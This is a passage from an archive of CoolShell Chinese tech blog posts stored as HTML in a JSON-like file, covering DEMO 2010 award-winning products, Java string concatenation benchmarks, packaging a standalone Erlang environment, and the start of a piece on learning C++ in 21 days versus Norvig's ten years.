align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1684.html\"><img alt=\"把ASCII图转成图片\" height=\"150\" src=\"../wp-content/uploads/2009/11/color_codes-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1684.html\">把ASCII图转成图片</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1480.html\"><img alt=\"非常简单的Python HTTP服务\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1480.html\">非常简单的Python HTTP服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2155.html\">别只谈系统备份，谈谈怎样恢复系统吧！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-27 DEMO Spring 2010 获奖产品.html",
    "content": "<html><body><p><a href=\"http://mashable.com/2010/03/23/demo-god-awards/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+Mashable+(Mashable)&amp;utm_content=Google+Reader\"><em>文章来<em>源</em> mashable.com</em></a></p>\n<p>在刚刚结束的 <a href=\"http://demo.com/\" target=\"_blank\">DEMO Spring 2010</a> 中，执行制作人 Matt Marshall 宣布了获得 DEMO 大奖的各类 IT 产品，以及由大众评选出的最佳产品，作为奖品， DEMO 将为该产品提供价值100万美元的 <a href=\"www.idg.com\">IDG</a> 广告宣传。以下是各类奖项的归属：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Zosh.jpg\"><img alt=\"\" class=\"size-medium wp-image-2210 alignright\" height=\"185\" src=\"../wp-content/uploads/2010/03/Zosh-300x185.jpg\" width=\"300\"/></a> <strong>移动产品 <a href=\"http://zosh.com/\" target=\"_blank\">Zosh</a></strong></p>\n<p>Zosh 是一个 iPhone 应用。有了Zosh，你无需使用扫描仪或者传真机即可实现对文档签名，Zosh支持的文档格式有：PDF，Office，以及图像文档。点此处查看 <em><a href=\"http://mashable.com/2010/03/22/zosh/\">产品详情</a></em>。</p>\n<p>具体操作方法：</p>\n<p>1. 打开邮件中的附件文档，将其发送至Zosh（本地）。</p>\n<p>2. 在Zosh中打开该文档，使用手写输入签名。</p>\n<p>3. 将签名作为一个“图层”合并到文档中。</p>\n<p><strong>社交和媒体产品 <a href=\"http://everloop.com/\" target=\"_blank\">Everloop</a></strong></p>\n<p>Everloop 是一个网络社交应用，目标用户是8到13岁的儿童。其现在是一个 White Label 产品（由一个公司开发，但由其他公司进行再包装和市场营销的产品），很快将会独立运营。</p>\n<p><span id=\"more-2191\"></span></p>\n<p><strong>基于云计算的产品 <a href=\"http://gwabbit.com/\" target=\"_blank\">Gwabbit</a></strong></p>\n<p>Gwabbit 已经两次获得 DEMO God 奖项。它的新产品 Gwabbit Cloud Sync 帮助你从 Outlook 和 Blackberry 邮件中提取发件人信息，然后通过 Gwabbit 服务保存和同步。</p>\n<p><strong>消费电子产品 <a href=\"http://phonehalo.com/\" target=\"_blank\">Phone Halo</a></strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Phone_Halo.jpg\"><img alt=\"\" class=\"alignright\" height=\"124\" src=\"../wp-content/uploads/2010/03/Phone_Halo-300x124.jpg\" width=\"300\"/></a>Phone Halo 通过电子标签来管理你的手机、钥匙和钱包等贵重物品，在你有可能遗失它们的时候发出警报，从而大大降低遗失的概率。 点此处查看 <em><a href=\"http://mashable.com/2010/03/23/phone-halo/\">产品介绍</a></em>。</p>\n<p>Phone Halo 的工作方式大致如下：</p>\n<p>1. 在你的手机、钥匙和钱包等贵重物品上贴上有感应装置的电子标签。</p>\n<p>2. 在你的手机上安装 Phone Halo 应用程序。</p>\n<p>3. 当你忘记携带其中任何一项物品时，也就是你的手机无法感应到其他物品时，手机将会发出报警。如果你没有听到报警声，手机会发送电子邮件给你的亲朋好友，让他们来提醒你忘记了东西。</p>\n<p>（根据 Phone Halo 的预测或曰期望，在 2010 年的美国，将有五分之一的人遗失他们的手机，十分之一的人遗失他们的钱包，四分之一的人遗失他们的钥匙，看来该产品很有市场前景）</p>\n<p><strong>企业级应用 <a href=\"http://blueskieshms.com/\" target=\"_blank\">BlueSkies Hospitality</a> </strong></p>\n<p>BlueSkies Hospitality Restaurant 2.0 是一个餐饮行业解决方案，主要和 OpenTable 争夺市场。</p>\n<p><strong>概念产品 <a href=\"http://uppymedia.com/\" target=\"_blank\">UppyMedia TAGtheLOOK</a></strong></p>\n<p>TAGtheLOOK 是一个 Facebook 应用，它可以让你在自己或者朋友的时装照片上贴上标签，并且与其他人分享这些标签来展示你的时尚品味。这个应用能给网上时尚商店带来潜在的商机。</p>\n<p><strong>大众评选产品 <a href=\"http://exaudios.com/\" target=\"_blank\">eXaudios MagInify Call Center</a></strong></p>\n<p><a href=\"../wp-content/uploads/2010/03/MagInify11.jpg\"><img alt=\"\" class=\"alignright\" height=\"108\" src=\"../wp-content/uploads/2010/03/MagInify11-300x108.jpg\" width=\"300\"/></a>MagInify 是这样一个工具，它能够解码客户讲话的声音和音调，以判断客户情绪的好坏，从而帮助呼叫中心和客服人员分析统计服务质量，发现不足。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/29.html\"><img alt=\"读后感：真正编程的力量\" height=\"150\" src=\"../wp-content/uploads/2009/03/01-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/29.html\">读后感：真正编程的力量</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/399.html\"><img alt=\"一个排序算法比较的网站\" height=\"150\" src=\"../wp-content/uploads/2009/04/sort-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1962.html\"><img alt=\"纯CSS做的3D效果\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1962.html\">纯CSS做的3D效果</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4561.html\"><img alt=\"对程序员职业的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4561.html\">对程序员职业的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11629.html\"><img alt=\"「我只是认真」聊聊工匠情怀\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2191.html\">DEMO Spring 2010 获奖产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-28 JAVA的字符串拼接与性能.html",
    "content": "<html><body><p><strong>概述：</strong>本文主要研究的是JAVA的字符串拼接的性能，原文中的测试代码在功能上并不等价，导致concat的测试意义不大。不过原作者在评论栏给了新的concat结果，如果有兴趣的同学建议自己修改代码测试。</p>\n<p>原文出处:<a href=\"http://www.venishjoe.net/2009/11/java-string-concatenation-and.html\">http://www.venishjoe.net/2009/11/java-string-concatenation-and.html</a></p>\n<p>在JAVA中拼接两个字符串的最简便的方式就是使用操作符”+”了。如果你用”+”来连接固定长度的字符串，可能性能上会稍受影响，但是如果你是在循环中来”+”多个串的话，性能将指数倍的下降。假设有一个字符串，我们将对这个字符串做大量循环拼接操作，使用”+”的话将得到最低的性能。但是究竟这个性能有多差？如果我们同时也把StringBuffer,StringBuilder或String.concat()放入性能测试中，结果又会如何呢？本文将会就这些问题给出一个答案！<br/>\n<span id=\"more-2235\"></span></p>\n<p>我们将使用<a href=\"http://perf4j.codehaus.org/index.html\">Per4j</a>来计算性能，因为这个工具可以给我们一个完整的性能指标集合，比如最小，最大耗时，统计时间段的标准偏差等。在测试代码中，为了得到一个准确的标准偏差值，我们将执行20个拼接”*”50,000次的测试。下面是我们将使用到的拼接字符串的方法：</p>\n<ul>\n<li>Concatenation Operator (+)</li>\n<li>String concat method – concat(String str)</li>\n<li>StringBuffer append method – append(String str)</li>\n<li>StringBuilder append method – append(String str)</li>\n</ul>\n<p>最后，我们将看看字节码，来研究这些方法到底是如何执行的。现在，让我们先开始来创建我扪的类。注意为了计算每个循环的性能，代码中的每段测试代码都需要用Per4J库进行封装。首先我们先定义迭代次数</p>\n<pre class=\"EnlighterJSRAW\">\nprivate static  final int  OUTER_ITERATION=20;\nprivate static final int INNER_ITERATION=50000;\n</pre>\n<p>接下来，我们将使用上述4个方法来实现我们的测试代码。</p>\n<pre class=\"EnlighterJSRAW\">\n  \tString addTestStr = \"\";\n  \tString concatTestStr = \"\";\n  \tStringBuffer concatTestSb = null;\n  \tStringBuilder concatTestSbu = null;\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringAddConcat\");\n  \t    addTestStr = \"\";\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    addTestStr += \"*\";\n  \t    stopWatch.stop();\n  \t}       \n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringConcat\");\n  \t    concatTestStr = \"\";\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestStr.concat(\"*\");\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringBufferConcat\");\n  \t    concatTestSb = new StringBuffer();\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestSb.append(\"*\");\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(\"StringBuilderConcat\");\n  \t    concatTestSbu = new StringBuilder();\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestSbu.append(\"*\");\n  \t    stopWatch.stop();\n  \t}\n</pre>\n<p>接下来通过运行程序来生成性能指标。我的运行环境是64位的Windown7操作系统，32位的JVM(7-ea) 带4GB内存，双核Quad 2.00GHz的CPU的机器.</p>\n<p>经过20次迭代后，我们得到如下的数据：<br/>\n<img alt=\"\" class=\"alignnone\" height=\"351\" src=\"../wp-content/uploads/2010/03/String_Perf_Chart_217.png\" title=\"结果\" width=\"586\"/></p>\n<p>结果非常完美如我们想象的那样。唯一比较有趣的事情是为什么String.concat也很不错，我们都知道，String是一个常类（初始化后就不会改变的类），那么为什么concat的性能会更好一些呢。(<strong>译者注</strong>：其实原文作者的测试代码有问题，对于concat()方法的测试代码应该写成concatTestStr=concatTestStr.concat(“*”)才对。)为了回答这个问题，我们应该看看concat反编译出来的字节码。在本文的下载包里面包含了所有的字节码，但是现在我们先看一下concat的这个代码片段：</p>\n<pre class=\"EnlighterJSRAW\">\n    46:  new #6; //class java/lang/StringBuilder\n    49:  dup\n    50:  invokespecial   #7; //Method java/lang/StringBuilder.\"&lt;init&gt;\":()V\n    53:  aload_1\n    54:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    57:  ldc #9; //String *\n    59:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    62:  invokevirtual   #10; //Method java/lang/StringBuilder.toString:()\n             Ljava/lang/String;\n    65:  astore_1\n    66:  iinc    7, 1\n    69:  goto    38\n</pre>\n<p>这段代码是String.concat()的字节码，从这段代码中，我们可以清楚的看到，concat()方法使用了StringBuilder，concat()的性能应该和StringBuilder的一样好，但是由于额外的创建StringBuilder和做.append(str).append(str).toString()的操作，使得concate的性能会受到一些影响，所以StringBuilder和String Cancate的时间是1.8和3.3。</p>\n<p>因此，即时在做最简单的拼接时，如果我们不想创建StringBuffer或StringBuilder实例使，我们也因该使用concat。但是对于大量的字符串拼接操作，我们就不应该使用concat(<strong>译者注：</strong>因为测试代码功能上并不完全等价，更换后的测试代码concat的平均处理时间是1650.9毫秒。这个结果在原文的评论里面。)，因为concat会降低你程序的性能，消耗你的cpu。因此，在不考虑线程安全和同步的情况下，为了获得最高的性能，我们应尽量使用StringBuilder</p>\n<p>本文的源代码，编译目标文件和字节码可以通过下面的这个链接获得：</p>\n<p>下载源代码，类和字节码：<a>String_Concatenation _Performance.zip</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2235.html\">JAVA的字符串拼接与性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-3 erlang打包独立环境.html",
    "content": "<html><body><p>最近公司代码需要在非erlang的系统上执行，需要能在独立的环境里运行erlang。研究甚久，于是写下这篇博文。国内用erlang的朋友不多，希望这篇blog能对有需要的朋友起到参考作用。</p>\n<blockquote><p>Application-Vsn/ebin<br/>\n/include<br/>\n/priv<br/>\n/src<br/>\n/Application-Vsn.rel</p></blockquote>\n<p>以上是代码的目录表.</p>\n<blockquote><p>{release, {“nextim”, “2.0”},<br/>\n{erts, “5.7.5”},<br/>\n[{kernel, “2.12.3”},<br/>\n{stdlib, “1.15.3”},<br/>\n{sasl, “2.1.5.3”}]<br/>\n}.</p></blockquote>\n<p>以上是Application-Vsn.rel的内容,[]中是代码本身需要的lib。</p>\n<p><span id=\"more-2111\"></span></p>\n<p>1.执行erl -pa ./ebin . 这一步会生成nextim-2.boot文件</p>\n<blockquote><p>1&gt; systools:make_script(nextim-2″, [local]).<br/>\nok</p></blockquote>\n<p>2.erl -boot nextim-2 . 这一步会生成nextim-2.tar.gz</p>\n<blockquote><p>systools:make_tar(“nextim-2”).</p></blockquote>\n<p>3.现在建议把tar.gz文件放到独立的路径里 这样不会影响Application-Vsn文件夹 ，然后解压 并进入目录， 复制erlang系统目录里的 erts-5.7.5 到当前目录</p>\n<p>4.建立bin文件夹 复制  <span style=\"color: #ff0000;\"><code>erts-5.7.5/bin/start</code> </span>到 <code><span style=\"color: #ff0000;\">bin/</span> 编辑 <span style=\"color: #ff0000;\">bin/start</span> 改 <span style=\"color: #ff9900;\">ROOTDIR</span>为当前目录的路径</code></p>\n<p>5.复制<span style=\"color: #ff0000;\"><code>erts-5.7.5/bin/run_erl</code></span> <code>和 </code><span style=\"color: #ff0000;\"><code>erts-5.7.2/bin/erl</code></span><code> 到 <span style=\"color: #ff0000;\">bin</span> 并且如同上一步一样修改ROOTDIR.</code></p>\n<p>6.复制 <span style=\"color: #ff0000;\"><code>$ERLDIR/bin/start_sasl.boot</code></span> 到  <span style=\"color: #ff0000;\"><code>bin/start.boot</code></span>.</p>\n<p>7. <span style=\"color: #ff9900;\"><code>echo</code> <code>\"5.7.5</code> <code>2.0\"</code> <code>&gt;</code> <code>releases/start_erl.data</code>.</span></p>\n<p>6.执行bin文件里的erl</p>\n<blockquote><p>release_handler:create_RELEASES(“$ROOTDIR”, “$ROOTDIR/releases/”, “$ROOTDIR/releases/nextim-2.rel”, []).</p></blockquote>\n<p>7.再把自己的项目文件复制到lib中  然后启动时 -pa参数是 lib文件夹. 完成这一步，就能独立出erlang环境了。</p>\n<p>以上内容 参考自</p>\n<p>http://spawnlink.com/articles/an-introduction-to-releases-with-erlybank/</p>\n<p>http://streamhacker.com/2009/07/02/how-to-create-an-erlang-first-target-system/<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1516.html\"><img alt=\"mochiweb参数化模型Req相关功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1516.html\">mochiweb参数化模型Req相关功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1313.html\"><img alt=\"Erlang和Python互通\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1846.html\"><img alt=\"MySQL性能优化的最佳20+条经验\" height=\"150\" src=\"../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2111.html\">erlang打包独立环境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-30 “21天教你学会C++”.html",
    "content": "<html><body><p>下面是一个《Teach Yourself  C++ in 21 Days》的流程图，请各位程序员同仁认真领会。如果有必要，你可以查看这个图书以作参照：<a href=\"http://www.china-pub.com/27043\" target=\"_blank\">http://www.china-pub.com/27043</a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg\"><img alt=\"\" class=\"alignnone size-full wp-image-2251\" height=\"471\" src=\"../wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg\" title=\"Teach Youself C++ 21 Days\" width=\"550\"/></a></p>\n<p>看完上面这个图片，我在想，我学习C++有12年了，好像C++也没有学得特别懂，看到STL和泛型，还是很头大。不过，我应该去考虑研究量子物理和生物化学，这样，我才能重返98年杀掉还在大学的我，然后达到21天搞定C++的目标。另外，得要特别提醒刚刚开始学习C++的朋友，第21天的时候，小心被人杀害。呵呵。</p>\n<p>当然，上面只是一个恶搞此类图片，学习一门技术，需要你很长的时间，正如图片中的第三图和第四图所示，你需要用十年的时间去不断在尝试，并在错误中总结经验教训，以及在项目开发中通过与别人相互沟通互相学习来历练自己。你才能算得上是真正学会。</p>\n<p>这里有篇文章叫《<a href=\"http://norvig.com/21-days.html\" target=\"_blank\"><strong>Teach Yourself Programming in Ten Years</strong></a>》，网上有人翻译了一下，不过原文已被更新了，我把网上的译文转载并更新如下：</p>\n<p><span id=\"more-2250\"></span></p>\n<h3 style=\"text-align: center;\"></h3>\n<h3 style=\"text-align: center;\">用十年来学编程<br/>\nPeter Norvig</h3>\n<div></div>\n<h4>为什么每个人都急不可耐？</h4>\n<div>走进任何一家书店，你会看见《Teach Yourself Java in 7 Days》（7天Java无师自通）的旁边是一长排看不到尽头的类似书籍，它们要教会你Visual Basic、Windows、Internet等等，而只需要几天甚至几小时。我在<a href=\"http://www.amazon.com/\" target=\"_blank\">Amazon.com</a>上进行了如下<a href=\"http://www.amazon.com/exec/obidos/tg/browse/-/468558/104-5938873-6579160\">搜索</a>：</div>\n<div></div>\n<div><a href=\"http://www.amazon.com/exec/obidos/search-handle-url/ix=books&amp;rank=%2Bfeaturedrank&amp;fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20days%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&amp;sz=25&amp;pg=1/ref=s_b_np\" target=\"_blank\">pubdate: after 1992 and title: days and (title: learn or title: teach yourself)<br/>\n</a> (出版日期：1992年后 and 书名：天 and （书名：学会 or 书名：无师自通）)</div>\n<div></div>\n<div>我一共得到了248个搜索结果。前面的78个是计算机书籍（第79个是《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0781802245/\" target=\"_blank\">Learn Bengali in 30 days</a>》，30天学会孟加拉语）。我把关键词“days”换成“<a href=\"http://www.amazon.com/exec/obidos/search-handle-url/ix=books&amp;rank=%2Bfeaturedrank&amp;fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20hours%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&amp;sz=25&amp;pg=3/ref=s_b_np\" target=\"_blank\">hours</a>”，得到了非常相似的结果：这次有253本书，头77本是计算机书籍，第78本是《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0028638999/\" target=\"_blank\">Teach Yourself Grammar and Style in 24 Hours</a>》（24小时学会文法和文体）。头200本书中，有96%是计算机书籍。</div>\n<div></div>\n<div>结论是，要么是人们非常急于学会计算机，要么就是不知道为什么计算机惊人地简单，比任何东西都容易学会。没有一本书是要在几天里教会人们欣赏贝多芬或者量子物理学，甚至怎样给狗打扮。在《<em><a href=\"http://www.ccs.neu.edu/home/matthias/HtDP2e/index.html\">How to Design Programs</a></em>》这本书里说“<em>Bad programming is easy. Idiots can learn it in 21 days, even if they are dummies.” </em>（坏的程序是很容易的，就算他们是笨蛋白痴都可以在21天内学会。）</div>\n<div></div>\n<div>让我们来分析一下像《<a href=\"http://www.amazon.com/Learn-C-Three-Days-Rachele/dp/1556227078\" target=\"_self\">Learn C++ in Three 